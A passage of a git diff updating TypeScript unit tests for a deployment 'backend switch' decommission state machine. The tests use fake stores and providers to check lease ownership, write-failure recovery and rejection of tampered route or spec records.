bulkNamespaceLists += 1; + if (bulkFailure) throw bulkFailure; + return []; + }, + listWorkerDatabaseAttachments: async () => { + attachmentLists += 1; + return []; + }, + exportDatabase: async (databaseId) => ({ + databaseId, + location: 'memory://legacy/export.sql', + sha256: 'b'.repeat(64), + size: 1, + }), + deleteDatabase: async () => { + deletes += 1; + }, + }; + const subject = provider(client, { + readDeploymentIdentity: async () => priorSpec.tenantTag, + }); + const snapshot = { + prior, + restoredArtifactVersion: null, + entryPendingArtifactVersion: null, + entryPendingNamespaceIds: null, + providerTargetSpecDigest: deploymentSpecDigest(targetSpec), + routeHostname: targetSpec.routeHostname, + routeTargets: [], + desiredSpecDigest: deploymentSpecDigest(targetSpec), + target, + releases: [{ release, subphase: 'deleted' as const }], + applicationResources: [], + }; + const currentRecord = { + backendSwitchIntent: { decommissionSnapshot: snapshot }, + } as unknown as FleetRecord; + + const residualFailure = new Error('bulk namespace residual failed'); + bulkFailure = residualFailure; + await expect( + subject.assertSwitchDatabaseDeletionResidualsRemoved({ + prior, + targetSpec, + currentRecord, + database, + fence, + }), + ).rejects.toBe(residualFailure); + expect(attachmentLists).toBe(0); + expect(deletes).toBe(0); + bulkFailure = undefined; + await expect( + subject.assertSwitchDatabaseDeletionResidualsRemoved({ + prior, + targetSpec, + currentRecord, + database, + fence, + }), + ).resolves.toBeUndefined(); + expect(attachmentLists).toBe(0); + expect(bulkNamespaceLists).toBe(2); + await expect( + subject.deleteSwitchDatabaseBounded({ + prior, + targetSpec, + database, + fence, + }), + ).resolves.toBeUndefined(); + expect(attachmentLists).toBe(0); + expect(deletes).toBe(1); + + await expect( + subject.exportSwitchDatabase({ prior, targetSpec, fence }), + ).resolves.toMatchObject({ databaseId: prior.databaseId }); + expect(attachmentLists).toBe(1); + }); }); diff --git a/packages/fleet-control/test/backend-switch.test.ts b/packages/fleet-control/test/backend-switch.test.ts index c20dce57..84cb26eb 100644 --- a/packages/fleet-control/test/backend-switch.test.ts +++ b/packages/fleet-control/test/backend-switch.test.ts @@ -1,11 +1,16 @@ // SPDX-License-Identifier: Apache-2.0 -import { describe, expect, it } from 'vitest'; -import { reserveApplicationR2Resources } from '../src/application-bindings.js'; +import { describe, expect, it, vi } from 'vitest'; import { + applicationBindingTopology, + reserveApplicationR2Resources, +} from '../src/application-bindings.js'; +import { + advanceBackendSwitchDecommission, type BackendSwitchIntent, type BackendSwitchProvider, type BridgeSnapshot, + backendSwitchDecommissionSnapshotDigest, backendSwitchIntentFromUnknown, decommissionBackendSwitch, finalizeBackendSwitch, @@ -13,6 +18,7 @@ import { reconcileFinalizedBackendSwitchState, rollbackBackendSwitch, switchPlainDeploymentToWorkersForPlatforms, + withBackendSwitchLease, } from '../src/backend-switch.js'; import { canonicalDeploymentEgressPolicy, @@ -26,6 +32,7 @@ import { import { deploymentSpecDigest } from '../src/spec-digest.js'; import type { ApplicationR2Resource, + DecommissionAdvanceIntent, DeploymentSpec, ExternalPlatformTargetDescription, ExternalReleaseSnapshot, @@ -140,12 +147,24 @@ class MemorySwitchStore implements FleetStateStore { failAfterCommittedReleaseDelete = false; failAfterCommittedTrafficAuthorization = false; failAfterCommittedTrafficRemoval = false; + failNextPutBeforeCommit: Error | undefined; + failNextPutAfterCommit: Error | undefined; + nextGet: FleetRecord | undefined; + nextGetAfterCommittedFailure: FleetRecord | undefined; + getCalls = 0; + putCalls = 0; get intent(): BackendSwitchIntent | undefined { return this.record.backendSwitchIntent; } async get(): Promise { + this.getCalls += 1; + if (this.nextGet) { + const next = this.nextGet; + this.nextGet = undefined; + return next; + } return this.record; } @@ -166,7 +185,20 @@ class MemorySwitchStore implements FleetStateStore { renew: async () => {}, delete: async () => {}, put: async (record) => { + this.putCalls += 1; + if (this.failNextPutBeforeCommit) { + const error = this.failNextPutBeforeCommit; + this.failNextPutBeforeCommit = undefined; + throw error; + } this.record = structuredClone(record); + if (this.failNextPutAfterCommit) { + const error = this.failNextPutAfterCommit; + this.failNextPutAfterCommit = undefined; + this.nextGet = this.nextGetAfterCommittedFailure; + this.nextGetAfterCommittedFailure = undefined; + throw error; + } if (record.backendSwitchIntent) { this.phases.push(record.backendSwitchIntent.subphase); } @@ -250,18 +282,28 @@ class FakeSwitchProvider implements BackendSwitchProvider { stateOnly: false, }; - async snapshotPlainDeployment(): Promise { + async snapshotPlainDeployment( + selectedPriorSpec: DeploymentSpec, + ): Promise { this.calls.push('snapshot'); return { scriptName: priorSpec.scriptName, artifactVersion: 'plain-v1', - specDigest: deploymentSpecDigest(priorSpec), + specDigest: deploymentSpecDigest(selectedPriorSpec), databaseId: 'db-acme', databaseName: priorSpec.databaseName, durableObjectBindings: this.bridge.durableObjectBindings, namespaceIds: this.bridge.namespaceIds, secretNames: ['DEPLOYMENT_IDENTITY_SECRET', 'MAINTENANCE_ADMIN_SECRET'], applicationResources: this.applicationResources, + ...(this.applicationResources.length > 0 + ? { + application: applicationBindingTopology( + selectedPriorSpec, + this.applicationResources, + ), + } + : {}), customDomain: { id: 'domain-1', hostname: priorSpec.routeHostname }, }; } @@ -305,24 +347,30 @@ class FakeSwitchProvider implements BackendSwitchProvider { return this.failBridgeResponseOnce ? undefined : this.bridge; } - async ensureCandidate() { + async ensureCandidate( + input: Parameters[0], + ) { this.calls.push('candidate'); + const application = applicationBindingTopology( + input.targetSpec, + this.applicationResources, + ); return { physicalScriptName: 'acme-candidate', - specDigest: deploymentSpecDigest(targetSpec), + specDigest: deploymentSpecDigest(input.targetSpec), artifactVersion: 'candidate-v1', releaseSchemaVersion: 1, - application: { vars: [], secrets: [], r2Buckets: [] }, + application, topology: { durableObjectBindings: this.bridge.durableObjectBindings, serviceBindings: [], queueProducerBindings: [], secretNames: ['DEPLOYMENT_IDENTITY_SECRET'], - application: { vars: [], secrets: [], r2Buckets: [] }, + application, }, maintenance: { receipt: 'maintenance-receipt-v1', - specDigest: deploymentSpecDigest(targetSpec), + specDigest: deploymentSpecDigest(input.targetSpec), }, }; } @@ -386,7 +434,6 @@ class FakeSwitchProvider implements BackendSwitchProvider { input.target.sharedOutboundWorkerName ?? 'fleet-shared-outbound', }, phase: 'ready' as const, - migrationIntent: undefined, }; } async routePlainDomainToBridge() { @@ -556,6 +603,153 @@ function switchOptions(store: MemorySwitchStore, provider: FakeSwitchProvider) { }; } +class BoundedFakeSwitchProvider extends FakeSwitchProvider { + readonly databaseExportReceiptAuthority = 'test-receipts'; + databasePresent = true; + scanCalls = 0; + receiptCalls = 0; + boundedDeleteCalls = 0; + blockScans = false; + + async advanceSwitchDecommissionAttachmentScan() { + this.scanCalls += 1; + if (this.blockScans) { + return { + status: 'attached' as const, + attachment: { + plane: 'ordinary' as const, + scriptName: 'foreign-worker', + }, + providerFetchAttemptsReserved: 1, + }; + } + return { + status: 'complete' as const, + evidenceSha256: '7'.repeat(64), + evidenceCount: 2, + providerFetchAttemptsReserved: 1, + }; + } + + async exportSwitchDatabaseReceipt() { + this.receiptCalls += 1; + return { + databaseId: BOUNDED_DATABASE_ID, + location: 'r2://exports/acme-bounded.sql', + sha256: '6'.repeat(64), + size: 456, + }; + } + + async getSwitchDatabase() { + return this.databasePresent + ? { + id: BOUNDED_DATABASE_ID, + name: priorSpec.databaseName, + created: false as const, + } + : undefined; + } + + async readSwitchDatabaseOwner() { + return priorSpec.tenantTag; + } + + async assertSwitchDatabaseDeletionResidualsRemoved() {} + + async deleteSwitchDatabaseBounded() { + this.boundedDeleteCalls += 1; + this.databasePresent = false; + } + + override async exportSwitchDatabase() { + this.calls.push('decommission-export'); + return { + databaseId: BOUNDED_DATABASE_ID, + location: 'r2://exports/acme-legacy.sql', + sha256: '5'.repeat(64), + size: 321, + }; + } + + override async deleteSwitchDatabase() { + this.calls.push('decommission-database'); + this.databasePresent = false; + } +} + +const BOUNDED_DATABASE_ID = '11111111-1111-1111-1111-111111111111'; + +function bindBoundedDatabase( + store: MemorySwitchStore, + provider: BoundedFakeSwitchProvider, +): void { + const intent = store.intent; + if (!intent) throw new Error('switch intent is missing'); + const bridge = intent.bridge + ? { ...intent.bridge, databaseId: BOUNDED_DATABASE_ID } + : undefined; + provider.bridge = { ...provider.bridge, databaseId: BOUNDED_DATABASE_ID }; + store.record = { + ...store.record, + databaseId: BOUNDED_DATABASE_ID, + backendSwitchIntent: { + ...intent, + prior: { ...intent.prior, databaseId: BOUNDED_DATABASE_ID }, + ...(bridge ? { bridge } : {}), + }, + }; +} + +function boundedOptions( + store: MemorySwitchStore, + provider: BoundedFakeSwitchProvider, + action: import('../src/decommission-advance.js').DecommissionAdvanceAction, + selectedTargetSpec: DeploymentSpec = targetSpec, + selectedPriorSpec: DeploymentSpec = priorSpec, +) { + return { + store, + provider, + priorSpec: selectedPriorSpec, + targetSpec: selectedTargetSpec, + currentSpec: selectedTargetSpec, + action, + maxProviderRequests: 9, + clock: () => Date.parse('2026-08-13T00:00:00.000Z'), + randomUUID: () => '123e4567-e89b-42d3-a456-426614174000', + }; +} + +async function driveBoundedSwitch( + store: MemorySwitchStore, + provider: BoundedFakeSwitchProvider, + selectedTargetSpec: DeploymentSpec = targetSpec, + selectedPriorSpec: DeploymentSpec = priorSpec, +) { + let action: import('../src/decommission-advance.js').DecommissionAdvanceAction = + { + kind: 'start', + }; + for (let index = 0; index < 64; index += 1) { + const result = await advanceBackendSwitchDecommission( + boundedOptions( + store, + provider, + action, + selectedTargetSpec, + selectedPriorSpec, + ), + ); + if (result.status === 'complete') return result; + if (result.status === 'blocked') { + throw new Error('bounded switch unexpectedly blocked'); + } + action = { kind: 'continue', token: result.token }; + } + throw new Error('bounded switch did not converge'); +} + describe('backend switch state machine', () => { it('composes the bridge around the byte-identical prior application graph', () => { const nestedPrior = { @@ -1184,18 +1378,21 @@ describe('backend switch state machine', () => { const completed = await switchPlainDeploymentToWorkersForPlatforms( switchOptions(store, provider), ); + const { bridge, candidate, ...withoutBridgeOrCandidate } = completed; + const { candidate: _candidate, ...withoutCandidate } = completed; store.record = { ...store.record, backendSwitchIntent: { - ...completed, - subphase, ...(subphase === 'bridge-upload-authorized' - ? { bridge: undefined, candidate: undefined } + ? withoutBridgeOrCandidate : subphase === 'candidate-deploy-authorized' - ? { candidate: undefined } - : {}), + ? withoutCandidate + : completed), + subphase, }, }; + void bridge; + void candidate; provider.calls.length = 0; const decommissioned = await decommissionBackendSwitch({ @@ -1278,7 +1475,7 @@ describe('backend switch state machine', () => { phase: 'migrating', activeRelease: priorRelease, ...(platformOnly - ? { pendingRelease: undefined, migrationPriorRelease: undefined } + ? {} : { pendingRelease: targetRelease, migrationPriorRelease: priorRelease, @@ -1592,13 +1789,6 @@ describe('backend switch state machine', () => { expect(store.record.phase).toBe('decommissioning'); store.failAfterCommittedReleaseDelete = true; - await expect( - decommissionBackendSwitch({ store, provider, priorSpec, targetSpec }), - ).rejects.toThrow(/release deletion write response lost/); - expect(store.intent?.decommissionSnapshot?.releases[0]?.subphase).toBe( - 'deleted', - ); - const completed = await decommissionBackendSwitch({ store, provider, @@ -1718,6 +1908,17 @@ describe('backend switch state machine', () => { prior: { ...switched.prior, applicationResources: [resource], + application: { + vars: [], + secrets: [], + r2Buckets: [ + { + name: resource.name, + bucketName: resource.bucketName, + jurisdiction: resource.jurisdiction, + }, + ], + }, }, }, }; @@ -1753,6 +1954,17 @@ describe('backend switch state machine', () => { prior: { ...switched.prior, applicationResources: [resource], + application: { + vars: [], + secrets: [], + r2Buckets: [ + { + name: resource.name, + bucketName: resource.bucketName, + jurisdiction: resource.jurisdiction, + }, + ], + }, }, }, }; @@ -1788,30 +2000,62 @@ describe('backend switch state machine', () => { await expect( decommissionBackendSwitch({ store, provider, priorSpec, targetSpec }), - ).rejects.toThrow(/traffic authorization write response lost/u); - expect(store.intent?.subphase).toBe('decommission-traffic-authorized'); - expect(provider.calls).not.toContain('decommission-traffic'); + ).resolves.toMatchObject({ subphase: 'decommissioned' }); + expect( + provider.calls.filter((call) => call === 'decommission-traffic'), + ).toHaveLength(1); - provider.failTrafficRemovalResponseOnce = true; + const providerLossStore = new MemorySwitchStore(); + const providerLoss = new FakeSwitchProvider(); + await switchPlainDeploymentToWorkersForPlatforms( + switchOptions(providerLossStore, providerLoss), + ); + providerLoss.calls.length = 0; + providerLoss.failTrafficRemovalResponseOnce = true; await expect( - decommissionBackendSwitch({ store, provider, priorSpec, targetSpec }), + decommissionBackendSwitch({ + store: providerLossStore, + provider: providerLoss, + priorSpec, + targetSpec, + }), ).rejects.toThrow(/switch traffic removal response lost/u); - expect(store.intent?.subphase).toBe('decommission-traffic-authorized'); - expect(provider.switchTrafficRemoved).toBe(true); - - store.failAfterCommittedTrafficRemoval = true; + expect(providerLossStore.intent?.subphase).toBe( + 'decommission-traffic-authorized', + ); + expect(providerLoss.switchTrafficRemoved).toBe(true); await expect( - decommissionBackendSwitch({ store, provider, priorSpec, targetSpec }), - ).rejects.toThrow(/traffic removal write response lost/u); - expect(store.intent?.subphase).toBe('decommission-traffic-removed'); - expect(provider.deletedReleases.size).toBe(0); + decommissionBackendSwitch({ + store: providerLossStore, + provider: providerLoss, + priorSpec, + targetSpec, + }), + ).resolves.toMatchObject({ subphase: 'decommissioned' }); + expect( + providerLoss.calls.filter((call) => call === 'decommission-traffic'), + ).toHaveLength(2); + const commitLossStore = new MemorySwitchStore(); + const commitLossProvider = new FakeSwitchProvider(); + await switchPlainDeploymentToWorkersForPlatforms( + switchOptions(commitLossStore, commitLossProvider), + ); + commitLossProvider.calls.length = 0; + commitLossStore.failAfterCommittedTrafficRemoval = true; await expect( - decommissionBackendSwitch({ store, provider, priorSpec, targetSpec }), + decommissionBackendSwitch({ + store: commitLossStore, + provider: commitLossProvider, + priorSpec, + targetSpec, + }), ).resolves.toMatchObject({ subphase: 'decommissioned' }); expect( - provider.calls.filter((call) => call === 'decommission-traffic'), - ).toHaveLength(2); + commitLossProvider.calls.filter( + (call) => call === 'decommission-traffic', + ), + ).toHaveLength(1); }); it('blocks switch deletion on post-removal ingress drift and reasserts after operator repair', async () => { @@ -1864,4 +2108,1574 @@ describe('backend switch state machine', () => { 'decommission-database', ]); }); + + it('advances one bounded backend-switch action under one stable operation', async () => { + const store = new MemorySwitchStore(); + const provider = new BoundedFakeSwitchProvider(); + await switchPlainDeploymentToWorkersForPlatforms( + switchOptions(store, provider), + ); + bindBoundedDatabase(store, provider); + provider.calls.length = 0; + + const started = await advanceBackendSwitchDecommission( + boundedOptions(store, provider, { kind: 'start' }), + ); + expect(started).toMatchObject({ + status: 'pending', + token: { operationId: '123e4567-e89b-42d3-a456-426614174000' }, + }); + expect(store.record.decommissionIntent).toMatchObject({ + revision: 0, + generation: 0, + state: 'transitioning', + }); + expect(provider.calls).toEqual([]); + + Object.defineProperty(provider, 'getSwitchDatabase', { + configurable: true, + value: undefined, + }); + await expect( + advanceBackendSwitchDecommission( + boundedOptions(store, provider, { kind: 'start' }), + ), + ).rejects.toMatchObject({ capability: 'database-read' }); + Reflect.deleteProperty(provider, 'getSwitchDatabase'); + + if (started.status !== 'pending') throw new Error('missing start token'); + const advanced = await advanceBackendSwitchDecommission( + boundedOptions(store, provider, { + kind: 'continue', + token: started.token, + }), + ); + expect(advanced.status).toBe('pending'); + expect(provider.calls).toEqual(['decommission-traffic']); + expect(store.intent?.subphase).toBe('decommission-traffic-removed'); + await expect( + withBackendSwitchLease( + store, + priorSpec.tenantTag, + priorSpec.environment, + Date.now, + (lease) => lease.put(store.intent as BackendSwitchIntent), + ), + ).rejects.toThrow( + 'backend switch lease put requires putOwnership when a decommission shell is present', + ); + + const currentIntent = store.intent as BackendSwitchIntent; + const currentRecord = structuredClone(store.record); + const { decommissionIntent: _shell, ...shellless } = currentRecord; + let refusedClockCalls = 0; + const currentShell = currentRecord.decommissionIntent as Exclude< + DecommissionAdvanceIntent, + { readonly state: 'complete' } + >; + const withoutOuterUpdatedAt = structuredClone(currentRecord) as Partial< + typeof currentRecord + >; + Reflect.deleteProperty(withoutOuterUpdatedAt, 'updatedAt'); + const withoutShellUpdatedAt = structuredClone(currentShell) as Partial< + typeof currentShell + >; + Reflect.deleteProperty(withoutShellUpdatedAt, 'updatedAt'); + const placeholderCases: readonly Readonly<{ + label: string; + candidate: unknown; + message: string; + }>[] = [ + { + label: 'shell removal', + candidate: shellless, + message: 'backend switch decommission record is malformed', + }, + { + label: 'transparent proxy', + candidate: new Proxy(currentRecord, {}), + message: 'backend switch decommission record is malformed', + }, + { + label: 'missing outer placeholder', + candidate: withoutOuterUpdatedAt, + message: + 'backend switch lease ownership timestamp placeholder is stale', + }, + { + label: 'invalid outer placeholder', + candidate: { ...currentRecord, updatedAt: 'invalid' }, + message: + 'backend switch lease ownership timestamp placeholder is stale', + }, + { + label: 'stale outer placeholder', + candidate: { + ...currentRecord, + updatedAt: '2026-08-12T23:59:59.000Z', + }, + message: + 'backend switch lease ownership timestamp placeholder is stale', + }, + { + label: 'missing shell placeholder', + candidate: { + ...currentRecord, + decommissionIntent: withoutShellUpdatedAt, + }, + message: + 'backend switch lease ownership timestamp placeholder is stale', + }, + { + label: 'invalid shell placeholder', + candidate: { + ...currentRecord, + decommissionIntent: { ...currentShell, updatedAt: 'invalid' }, + }, + message: + 'backend switch lease ownership timestamp placeholder is stale', + }, + { + label: 'stale shell placeholder', + candidate: { + ...currentRecord, + decommissionIntent: { + ...currentShell, + updatedAt: '2026-08-12T23:59:59.000Z', + }, + }, + message: + 'backend switch lease ownership timestamp placeholder is stale', + }, + { + label: 'both equal stale placeholders', + candidate: { + ...currentRecord, + updatedAt: '2026-08-12T23:59:59.000Z', + decommissionIntent: { + ...currentShell, + updatedAt: '2026-08-12T23:59:59.000Z', + }, + }, + message: + 'backend switch lease ownership timestamp placeholder is stale', + }, + ]; + for (const { label, candidate, message } of placeholderCases) { + const getCalls = store.getCalls; + const putCalls = store.putCalls; + await expect( + withBackendSwitchLease( + store, + priorSpec.tenantTag, + priorSpec.environment, + () => { + refusedClockCalls += 1; + return Date.parse('2026-08-13T00:00:01.000Z'); + }, + (lease) => + lease.putOwnership( + candidate as unknown as FleetRecord, + currentIntent, + ), + ), + label, + ).rejects.toThrow(message); + expect(store.getCalls - getCalls, label).toBe(1); + expect(store.putCalls - putCalls, label).toBe(0); + } + expect(refusedClockCalls).toBe(0); + + let successClockCalls = 0; + let getCalls = store.getCalls; + let putCalls = store.putCalls; + await withBackendSwitchLease( + store, + priorSpec.tenantTag, + priorSpec.environment, + () => { + successClockCalls += 1; + return Date.parse('2026-08-13T00:00:01.000Z'); + }, + (lease) => lease.putOwnership(lease.current(), currentIntent), + ); + expect(successClockCalls).toBe(1); + expect(store.record.updatedAt).toBe('2026-08-13T00:00:01.000Z'); + expect(store.record.decommissionIntent?.updatedAt).toBe( + store.record.updatedAt, + ); + expect(store.getCalls - getCalls).toBe(1); + expect(store.putCalls - putCalls).toBe(1); + + const precommit = new Error('switch write failed before commit'); + store.failNextPutBeforeCommit = precommit; + getCalls = store.getCalls; + putCalls = store.putCalls; + let observedPrecommit: unknown; + try { + await withBackendSwitchLease( + store, + priorSpec.tenantTag, + priorSpec.environment, + () => Date.parse('2026-08-13T00:00:02.000Z'), + (lease) => lease.putOwnership(lease.current(), currentIntent), + ); + } catch (error) { + observedPrecommit = error; + } + expect(observedPrecommit).toBe(precommit); + expect(store.record.updatedAt).toBe('2026-08-13T00:00:01.000Z'); + expect(store.getCalls - getCalls).toBe(2); + expect(store.putCalls - putCalls).toBe(1); + + const committedResponseLoss = new Error('switch write response lost'); + store.failNextPutAfterCommit = committedResponseLoss; + getCalls = store.getCalls; + putCalls = store.putCalls; + await withBackendSwitchLease( + store, + priorSpec.tenantTag, + priorSpec.environment, + () => Date.parse('2026-08-13T00:00:03.000Z'), + (lease) => lease.putOwnership(lease.current(), currentIntent), + ); + expect(store.record.updatedAt).toBe('2026-08-13T00:00:03.000Z'); + expect(store.getCalls - getCalls).toBe(2); + expect(store.putCalls - putCalls).toBe(1); + + const malformedRereadLoss = new Error( + 'switch malformed reread response lost', + ); + store.failNextPutAfterCommit = malformedRereadLoss; + store.nextGetAfterCommittedFailure = { + ...store.record, + routeHostname: 'foreign.example.test', + }; + getCalls = store.getCalls; + putCalls = store.putCalls; + let observedMalformedReread: unknown; + try { + await withBackendSwitchLease( + store, + priorSpec.tenantTag, + priorSpec.environment, + () => Date.parse('2026-08-13T00:00:04.000Z'), + (lease) => lease.putOwnership(lease.current(), currentIntent), + ); + } catch (error) { + observedMalformedReread = error; + } + expect(observedMalformedReread).toEqual( + new Error('backend switch decommission record is malformed'), + ); + expect(observedMalformedReread).not.toBe(malformedRereadLoss); + expect(store.getCalls - getCalls).toBe(2); + expect(store.putCalls - putCalls).toBe(1); + + provider.blockScans = true; + let blocked = await advanceBackendSwitchDecommission( + boundedOptions(store, provider, { kind: 'start' }), + ); + for ( + let index = 0; + blocked.status === 'pending' && index < 32; + index += 1 + ) { + blocked = await advanceBackendSwitchDecommission( + boundedOptions(store, provider, { + kind: 'continue', + token: blocked.token, + }), + ); + } + expect(blocked.status).toBe('blocked'); + let blockedCapabilityReads = 0; + Object.defineProperty(provider, 'getSwitchDatabase', { + configurable: true, + get() { + blockedCapabilityReads += 1; + return BoundedFakeSwitchProvider.prototype.getSwitchDatabase; + }, + }); + const repeatedBlocked = await advanceBackendSwitchDecommission( + boundedOptions(store, provider, { kind: 'start' }), + ); + expect(repeatedBlocked.status).toBe('blocked'); + expect(blockedCapabilityReads).toBe(1); + + Object.defineProperty(provider, 'getSwitchDatabase', { + configurable: true, + value: BoundedFakeSwitchProvider.prototype.getSwitchDatabase, + }); + if (blocked.status !== 'blocked') throw new Error('missing blocked token'); + const wrongRestartTarget: DeploymentSpec = { + ...targetSpec, + modules: [ + { name: 'worker.js', content: 'export default { changed: true }' }, + ], + }; + getCalls = store.getCalls; + putCalls = store.putCalls; + const providerCalls = provider.calls.length; + await expect( + advanceBackendSwitchDecommission( + boundedOptions( + store, + provider, + { kind: 'restart-blocked', token: blocked.token }, + wrongRestartTarget, + ), + ), + ).rejects.toThrow( + 'backend switch target decommission spec differs from durable intent', + ); + expect(store.getCalls - getCalls).toBe(1); + expect(store.putCalls - putCalls).toBe(0); + expect(provider.calls).toHaveLength(providerCalls); + }); + + it('binds one immutable switch snapshot and captured entry subphase', async () => { + const store = new MemorySwitchStore(); + const provider = new BoundedFakeSwitchProvider(); + const switched = await switchPlainDeploymentToWorkersForPlatforms( + switchOptions(store, provider), + ); + bindBoundedDatabase(store, provider); + + const started = await advanceBackendSwitchDecommission( + boundedOptions(store, provider, { kind: 'start' }), + ); + if (started.status !== 'pending') throw new Error('missing start token'); + const intent = store.intent; + const snapshot = intent?.decommissionSnapshot; + if (!intent || !snapshot) throw new Error('snapshot was not persisted'); + expect(intent.decommissionEntrySubphase).toBe(switched.subphase); + expect(intent.decommissionSnapshotSha256).toBe( + backendSwitchDecommissionSnapshotDigest(snapshot), + ); + expect(snapshot).toMatchObject({ + prior: { ...switched.prior, databaseId: BOUNDED_DATABASE_ID }, + restoredArtifactVersion: null, + entryPendingArtifactVersion: null, + entryPendingNamespaceIds: null, + providerTargetSpecDigest: switched.targetSpecDigest, + }); + const routeAuthorityCase = async ( + active: boolean, + mutation: 'outer-only' | 'snapshot-only' | 'outer-and-shell', + ) => { + const routeStore = new MemorySwitchStore(); + const routeProvider = new BoundedFakeSwitchProvider(); + await switchPlainDeploymentToWorkersForPlatforms( + switchOptions(routeStore, routeProvider), + ); + bindBoundedDatabase(routeStore, routeProvider); + if (active) { + await advanceBackendSwitchDecommission( + boundedOptions(routeStore, routeProvider, { kind: 'start' }), + ); + } + const routeIntent = routeStore.intent; + if (!routeIntent) throw new Error('route switch intent is missing'); + const foreignRoute = 'foreign.example.test'; + if (mutation === 'outer-only') { + routeStore.record = { + ...routeStore.record, + routeHostname: foreignRoute, + }; + } else { + const routeSnapshot = routeIntent.decommissionSnapshot; + const routeShell = routeStore.record.decommissionIntent; + if ( + !routeSnapshot || + !routeShell || + routeShell.state === 'complete' || + routeShell.identity.mode.kind !== 'backend-switch' + ) { + throw new Error('active route authority is missing'); + } + const changedSnapshot = { + ...routeSnapshot, + routeHostname: foreignRoute, + }; + const changedSnapshotSha256 = + backendSwitchDecommissionSnapshotDigest(changedSnapshot); + const changedIntent = { + ...routeIntent, + decommissionSnapshot: changedSnapshot, + decommissionSnapshotSha256: changedSnapshotSha256, + }; + routeStore.record = { + ...routeStore.record, + ...(mutation === 'outer-and-shell' + ? { routeHostname: foreignRoute } + : {}), + backendSwitchIntent: changedIntent, + decommissionIntent: { + ...routeShell, + identity: { + ...routeShell.identity, + record: { + ...routeShell.identity.record, + ...(mutation === 'outer-and-shell' + ? { routeHostname: foreignRoute } + : {}), + }, + mode: { + ...routeShell.identity.mode, + decommissionSnapshotSha256: changedSnapshotSha256, + }, + }, + }, + }; + } + routeProvider.calls.length = 0; + const beforePutCalls = routeStore.putCalls; + await expect( + advanceBackendSwitchDecommission( + boundedOptions(routeStore, routeProvider, { kind: 'start' }), + ), + `${active ? 'active' : 'shellless'} ${mutation}`, + ).rejects.toThrow('backend switch decommission record is malformed'); + expect(routeStore.putCalls - beforePutCalls).toBe(0); + expect(routeProvider.calls).toEqual([]); + }; + await routeAuthorityCase(false, 'outer-only'); + await routeAuthorityCase(true, 'outer-only'); + await routeAuthorityCase(true, 'snapshot-only'); + await routeAuthorityCase(true, 'outer-and-shell'); + const changedRoutePrior = { + ...priorSpec, + routeHostname: 'foreign.example.test', + } satisfies DeploymentSpec; + const changedRouteTarget = { + ...targetSpec, + routeHostname: 'foreign.example.test', + } satisfies DeploymentSpec; + const beforeRouteSpecPutCalls = store.putCalls; + const beforeRouteSpecProviderCalls = provider.calls.length; + await expect( + advanceBackendSwitchDecommission( + boundedOptions( + store, + provider, + { kind: 'start' }, + changedRouteTarget, + changedRoutePrior, + ), + ), + ).rejects.toThrow( + 'backend switch prior decommission spec differs from durable intent', + ); + expect(store.putCalls - beforeRouteSpecPutCalls).toBe(0); + expect(provider.calls).toHaveLength(beforeRouteSpecProviderCalls); + const legacyRouteStore = new MemorySwitchStore(); + const legacyRouteProvider = new FakeSwitchProvider(); + await switchPlainDeploymentToWorkersForPlatforms( + switchOptions(legacyRouteStore, legacyRouteProvider), + ); + legacyRouteProvider.calls.length = 0; + const legacyRoutePutCalls = legacyRouteStore.putCalls; + await expect( + decommissionBackendSwitch({ + store: legacyRouteStore, + provider: legacyRouteProvider, + priorSpec: changedRoutePrior, + targetSpec: changedRouteTarget, + }), + ).rejects.toThrow( + 'backend switch prior decommission spec differs from durable intent', + ); + expect(legacyRouteStore.putCalls - legacyRoutePutCalls).toBe(0); + expect(legacyRouteProvider.calls).toEqual([]); + const mutableProgress = { + ...snapshot, + releases: snapshot.releases.map((entry) => ({ + ...entry, + subphase: 'deleted' as const, + })), + }; + expect(backendSwitchDecommissionSnapshotDigest(mutableProgress)).toBe( + intent.decommissionSnapshotSha256, + ); + + for (const [label, authority] of [ + ['empty', ''], + ['overbound UTF-8', 'é'.repeat(2_049)], + ] as const) { + const malformedStore = new MemorySwitchStore(); + const malformedProvider = new BoundedFakeSwitchProvider(); + await switchPlainDeploymentToWorkersForPlatforms( + switchOptions(malformedStore, malformedProvider), + ); + bindBoundedDatabase(malformedStore, malformedProvider); + Object.defineProperty( + malformedProvider, + 'databaseExportReceiptAuthority', + { configurable: true, value: authority }, + ); + await expect( + advanceBackendSwitchDecommission( + boundedOptions(malformedStore, malformedProvider, { kind: 'start' }), + ), + label, + ).rejects.toThrow('database export receipt capability is malformed'); + expect(malformedStore.record.decommissionIntent, label).toBeUndefined(); + } + + const wrongSpec = { + ...targetSpec, + modules: [ + { name: 'worker.js', content: 'export default { changed: true }' }, + ], + } satisfies DeploymentSpec; + const wrongPriorSpec = { + ...priorSpec, + modules: [ + { name: 'worker.js', content: 'export default { changed: true }' }, + ], + } satisfies DeploymentSpec; + const expectAuthorityRefusal = async (input: { + label: string; + selectedStore: MemorySwitchStore; + selectedProvider: BoundedFakeSwitchProvider; + action: import('../src/decommission-advance.js').DecommissionAdvanceAction; + selectedPrior?: DeploymentSpec; + selectedTarget?: DeploymentSpec; + selectedCurrent?: DeploymentSpec; + message: string; + }) => { + const beforeGetCalls = input.selectedStore.getCalls; + const beforePutCalls = input.selectedStore.putCalls; + const beforeGeneration = + input.selectedStore.record.decommissionIntent?.generation; + const beforeProvider = { + calls: [...input.selectedProvider.calls], + scanCalls: input.selectedProvider.scanCalls, + receiptCalls: input.selectedProvider.receiptCalls, + boundedDeleteCalls: input.selectedProvider.boundedDeleteCalls, + }; + let clockCalls = 0; + let uuidCalls = 0; + await expect( + advanceBackendSwitchDecommission({ + ...boundedOptions( + input.selectedStore, + input.selectedProvider, + input.action, + input.selectedTarget ?? targetSpec, + input.selectedPrior ?? priorSpec, + ), + ...(input.selectedCurrent === undefined + ? {} + : { currentSpec: input.selectedCurrent }), + clock: () => { + clockCalls += 1; + return Date.parse('2026-08-13T00:00:00.000Z'); + }, + randomUUID: () => { + uuidCalls += 1; + return '123e4567-e89b-42d3-a456-426614174000'; + }, + }), + input.label, + ).rejects.toThrow(input.message); + expect(input.selectedStore.getCalls - beforeGetCalls, input.label).toBe( + 1, + ); + expect(input.selectedStore.putCalls - beforePutCalls, input.label).toBe( + 0, + ); + expect( + input.selectedStore.record.decommissionIntent?.generation, + input.label, + ).toBe(beforeGeneration); + expect( + { + calls: input.selectedProvider.calls, + scanCalls: input.selectedProvider.scanCalls, + receiptCalls: input.selectedProvider.receiptCalls, + boundedDeleteCalls: input.selectedProvider.boundedDeleteCalls, + }, + input.label, + ).toEqual(beforeProvider); + expect(clockCalls, input.label).toBe(0); + expect(uuidCalls, input.label).toBe(0); + 